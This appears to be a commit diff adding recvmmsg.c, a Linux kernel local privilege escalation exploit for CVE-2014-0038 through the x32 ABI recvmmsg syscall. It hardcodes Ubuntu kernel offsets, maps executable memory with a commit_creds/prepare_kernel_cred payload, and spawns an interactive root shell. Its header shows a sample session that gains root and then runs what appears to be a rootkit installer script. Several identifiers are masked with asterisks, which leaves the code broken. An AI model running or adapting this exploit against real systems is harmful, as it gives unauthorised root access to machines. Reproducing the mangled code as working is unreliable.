1
+ /*
2
+ *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
3
+ recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
4
+ CVE-2014-0038 / x32 ABI with recvmmsg
5
+ by rebel @ irc.smashthestack.org
6
+ -----------------------------------
7
+
8
+ takes about 13 minutes to run because timeout->tv_sec is decremented
9
+ once per second and 0xff*3 is 765.
10
+
11
+ some things you could do while waiting:
12
+ * read https://wiki.ubuntu.com/Security/Features and smirk a few times
13
+ * brew some coffee
14
+ * stare at the countdown giggly with anticipation
15
+
16
+ could probably whack the high bits of some pointer with nanoseconds,
17
+ but that would require a bunch of nulls before the pointer and then
18
+ reading an oops from dmesg which isn't that elegant.
19
+
20
+ &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
21
+
22
+ hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
23
+ anyway..
24
+
25
+ same principle will work on 32bit but I didn't really find any major
26
+ distros shipping with CONFIG_X86_X32=y
27
+
28
+ user@ubuntu:~$ u**** -a
29
+ Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
30
+ user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
31
+ user@ubuntu:~$ ./recvmmsg
32
+ byte 3 / 3.. ~0 secs left.
33
+ w00p w00p!
34
+ # id
35
+ uid=0(root) gid=0(root) groups=0(root)
36
+ # sh phalanx-2.6b-x86_64.sh
37
+ unpacking..
38
+
39
+ :)=
40
+
41
+ greets to my homeboys kaliman, beist, capsl & all of #social
42
+
43
+ Sat Feb 1 22:15:19 CET 2014
44
+ % rebel %
45
+ *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
46
+ */
47
+
48
+ #define _GNU_SOURCE
49
+ #include <netinet/ip.h>
50
+ #include <stdio.h>
51
+ #include <stdlib.h>
52
+ #include <string.h>
53
+ #include <sys/socket.h>
54
+ #include <unistd.h>
55
+ #include <sys/syscall.h>
56
+ #include <sys/mman.h>
57
+ #include <sys/types.h>
58
+ #include <sys/stat.h>
59
+ #include <fcntl.h>
60
+ #include <sys/uts****.h>
61
+
62
+ #define __X32_SYSCALL_BIT 0x40000000
63
+ #undef __NR_recvmmsg
64
+ #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
65
+ #define VLEN 1
66
+ #define BUFSIZE 200
67
+
68
+ int port ;
69
+
70
+ struct offset {
71
+ char * kernel_version ;
72
+ unsigned long dest ; // net_sysctl_root + 96
73
+ unsigned long original_value ; // net_ctl_permissions
74
+ unsigned long prepare_kernel_cred ;
75
+ unsigned long commit_creds ;
76
+ };
77
+
78
+ struct offset offsets [] = {
79
+ {"3.11.0-15-generic" ,0xffffffff81cdf400 + 96 ,0xffffffff816d4ff0 ,0xffffffff8108afb0 ,0xffffffff8108ace0 }, // Ubuntu 13.10
80
+ {"3.11.0-12-generic" ,0xffffffff81cdf3a0 ,0xffffffff816d32a0 ,0xffffffff8108b010 ,0xffffffff8108ad40 }, // Ubuntu 13.10
81
+ {"3.8.0-19-generic" ,0xffffffff81cc7940 ,0xffffffff816a7f40 ,0xffffffff810847c0 , 0xffffffff81084500 }, // Ubuntu 13.04
82
+ {NULL ,0 ,0 ,0 ,0 }
83
+ };
84
+
85
+ void udp (int b ) {
86
+ int sockfd ;
87
+ struct sockaddr_in servaddr ,cliaddr ;
88
+ int s = 0xff + 1 ;
89
+
90
+ if (fork () == 0 ) {
91
+ while (s > 0 ) {
92
+ fprintf (stderr ,"\rbyte %d / 3.. ~%d secs left \b\b\b\b" ,b + 1 ,3 * 0xff - b * 0xff - (0xff + 1 - s ));
93
+ sleep (1 );
94
+ s -- ;
95
+ fprintf (stderr ,"." );
96
+ }
97
+
98
+ sockfd = socket (AF_INET ,SOCK_DGRAM ,0 );
99
+ bzero (& servaddr ,sizeof (servaddr ));
100
+ servaddr .sin_family = AF_INET ;
101
+ servaddr .sin_addr .s_addr = htonl (INADDR_LOOPBACK );
102
+ servaddr .sin_port = htons (port );
103
+ sendto (sockfd ,"1" ,1 ,0 ,(struct sockaddr * )& servaddr ,sizeof (servaddr ));
104
+ exit (0 );
105
+ }
106
+
107
+ }
108
+
109
+ void trigger () {
110
+ open ("/proc/sys/net/core/somaxconn" ,O_RDONLY );
111
+
112
+ if (getuid () != 0 ) {
113
+ fprintf (stderr ,"not root, ya blew it!\n" );
114
+ exit (-1 );
115
+ }
116
+
117
+ fprintf (stderr ,"w00p w00p!\n" );
118
+ system ("/bin/sh -i" );
119
+ }
120
+
121
+ typedef int __attribute__ ((regparm (3 ))) (* _commit_creds )(unsigned long cred );
122
+ typedef unsigned long __attribute__((regparm (3 ))) (* _prepare_kernel_cred )(unsigned long cred );
123
+ _commit_creds commit_creds ;
124
+ _prepare_kernel_cred prepare_kernel_cred ;
125
+
126
+ // thx bliss
127
+ static int __attribute__((regparm (3 )))
128
+ getroot (void * head , void * table )
129
+ {
130
+ commit_creds (prepare_kernel_cred (0 ));
131
+ return -1 ;
132
+ }
133
+
134
+ void __attribute__((regparm (3 )))
135
+ trampoline ()
136
+ {
137
+ asm("mov $getroot, %rax; call *%rax;" );
138
+ }
139
+
140
+ int main (void )
141
+ {
142
+ int sockfd , retval , i ;
143
+ struct sockaddr_in sa ;
144
+ struct mmsghdr msgs [VLEN ];
145
+ struct iovec iovecs [VLEN ];
146
+ char buf [BUFSIZE ];
147
+ long mmapped ;
148
+ struct uts * * * * u ;
149
+ struct offset * off = NULL ;
150
+
151
+ u * * * * (& u );
152
+
153
+ for (i = 0 ;offsets [i ].kernel_version != NULL ;i ++ ) {
154
+ if (!strcmp (offsets [i ].kernel_version ,u .release )) {
155
+ off = & offsets [i ];
156
+ break ;
157
+ }
158
+ }
159
+
160
+ if (!off ) {
161
+ fprintf (stderr ,"no offsets for this kernel version..\n" );
162
+ exit (-1 );
163
+ }
164
+
165
+ mmapped = (off -> original_value & ~(sysconf (_SC_PAGE_SIZE ) - 1 ));
166
+ mmapped &= 0x000000ffffffffff ;
167
+
168
+ srand (time (NULL ));
169
+ port = (rand () % 30000 )+ 1500 ;
170
+
171
+ commit_creds = (_commit_creds )off -> commit_creds ;
172
+ prepare_kernel_cred = (_prepare_kernel_cred )off -> prepare_kernel_cred ;
173
+
174
+ mmapped = (long )mmap ((void * )mmapped , sysconf (_SC_PAGE_SIZE )* 3 , PROT_READ |PROT_WRITE |PROT_EXEC , MAP_PRIVATE |MAP_ANONYMOUS |MAP_FIXED , 0 , 0 );
175
+
176
+ if (mmapped == -1 ) {
177
+ perror ("mmap()" );
178
+ exit (-1 );
179
+ }
180
+
181
+ memset ((char * )mmapped ,0x90 ,sysconf (_SC_PAGE_SIZE )* 3 );
182
+
183
+ memcpy ((char * )mmapped + sysconf (_SC_PAGE_SIZE ), (char * )& trampoline , 300 );
184
+
185
+ if (mprotect ((void * )mmapped , sysconf (_SC_PAGE_SIZE )* 3 , PROT_READ |PROT_EXEC ) != 0 ) {
186
+ perror ("mprotect()" );
187
+ exit (-1 );
188
+ }
189
+
190
+ sockfd = socket (AF_INET , SOCK_DGRAM , 0 );
191
+ if (sockfd == -1 ) {
192
+ perror ("socket()" );
193
+ exit (-1 );
194
+ }
195
+
196
+ sa .sin_family = AF_INET ;
197
+ sa .sin_addr .s_addr = htonl (INADDR_LOOPBACK );
198
+ sa .sin_port = htons (port );
199
+
200
+ if (bind (sockfd , (struct sockaddr * ) & sa , sizeof (sa )) == -1 ) {
201
+ perror ("bind()" );
202
+ exit (-1 );
203
+ }
204
+
205
+ memset (msgs , 0 , sizeof (msgs ));
206
+
207
+ iovecs [0 ].iov_ * * * * = & buf ;
208
+ iovecs [0 ].iov_len = BUFSIZE ;
209
+ msgs [0 ].msg_hdr .msg_iov = & iovecs [0 ];
210
+ msgs [0 ].msg_hdr .msg_iovlen = 1 ;
211
+
212
+ for (i = 0 ;i < 3 ;i ++ ) {
213
+ udp (i );
214
+ retval = syscall (__NR_recvmmsg , sockfd , msgs , VLEN , 0 , (void * )off -> dest + 7 - i );
215
+ if (!retval ) {
216
+ fprintf (stderr ,"\nrecvmmsg() failed\n" );
217
+ }
218
+ }
219
+
220
+ close (sockfd );
221
+
222
+ fprintf (stderr ,"\n" );
223
+
224
+ trigger ();
225
+ }
0 commit comments